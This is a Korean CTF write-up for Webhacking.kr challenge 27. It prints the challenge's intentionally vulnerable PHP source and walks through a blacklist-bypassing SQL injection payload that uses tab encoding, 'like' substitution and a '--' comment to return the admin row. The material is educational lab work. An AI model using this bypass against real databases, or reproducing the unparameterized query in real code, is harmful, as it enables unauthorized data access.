링크로 들어가면 27번 문제를 확인할 수 있다.
누가봐도 Sql injection 문제라고 힌트를 줬다ㅎㅎ
소스코드를 봐야겠담
소스코드
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?>
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br>
<a href=?view_source=1>view-source</a>
</body>
</html>
문제에서 SQL injection 이라는 힌트를 주었기 때문에 sql 쿼리문을 중심으로 볼 예정이다.
쿼리문이 등장하는 두 번째 php문을 따로 떼어서 보자!
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
get 방식으로 전달된 변수 no가 값이 있다면
preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no']) 로
변수 no값을 검사 → # select 공백 limit = 0x 값이 포함 → no hack이 출력
바로 밑의 문장 속 쿼리를 자세히 보자!
select id from chall27 where id='guest' and no=({$_GET['no']})"))
chal127 테이블에서
조건 ① id=guest
② no=(입력값)
위의 두 조건을 동시에 만족하는 id를 선택 → r에 담는다.
마지막 두 개의 if문은
① (id = guest) → guest를 출력
② (id = admin) → solve
!!!! 문제를 풀기 위해선 id값을 admin으로 변경하면 되지만 이미 id값이 guest로 고정 !!!!
따라서 쿼리문 조건을 FALSE OR TRUE → TRUE로 만들기 위해 no값의 조작이 필요하다.
쿼리문의 where 조건을 id='guest' and no=(-1) or no = 2로 만들면 된다.
ex) select id from chall27 where id='guest' and no=(-1) or no = 2
FALSE TRUE → TRUE
그런데 preg_match 함수로 필터링 걸려있는 문자가 많기 때문에 조건식에 변환이 필요하다.
해결
변환 전 : no=(-1) or no = 2
필터링 대상 문자열 : # select 공백 limit = 0x
① 띄어쓰기 → %09
no=(-1)%09or%09no%09=%092
② = → like
no=(-1)%09or%09no%09like%092
select id from chall27 where id='guest' and no=({$_GET['no']})
그런데 where조건 마지막에 닫는 괄호가 하나 더 있다.
따라서 ~no = 2 )~~ 2 뒷부분을 주석처리해주기 위해 필터링 된 #을 대신해 --을 사용한다.
③ # → --
no=(-1)%09or%09no%09like%092--
-- 뒤에 공백이 들어가지 않으면 주석처리가 되지 않기 때문에 이 부분을 주의해주어야한다.
마지막으로 공백을 추가하면
no=(-1)%09or%09no%09like%092--%09 이런 결과가 나온다.
where no 조건은 no=( 이런 모양으로 시작되기 때문에 처음에 여는 괄호는 url에 추가하지 않아도 된다.
(no 값은 get방식으로 전달되니까 url 이용)
따라서 url에 ?no=-1)%09or%09no%09like%092--%09을 추가하면 문제가 풀린다.
'Webhacking' 카테고리의 다른 글
[Webhacking.kr] old-35번 풀이 (0) | 2022.12.22 |
---|---|
[Webhacking.kr] old-14번 풀이 (0) | 2022.12.22 |
[Webhacking.kr] old-12번 풀이 (0) | 2022.12.21 |
[Webhacking.kr] old-19번 풀이 (0) | 2022.12.21 |
[Webhacking.kr] old-24번 풀이 (0) | 2022.12.21 |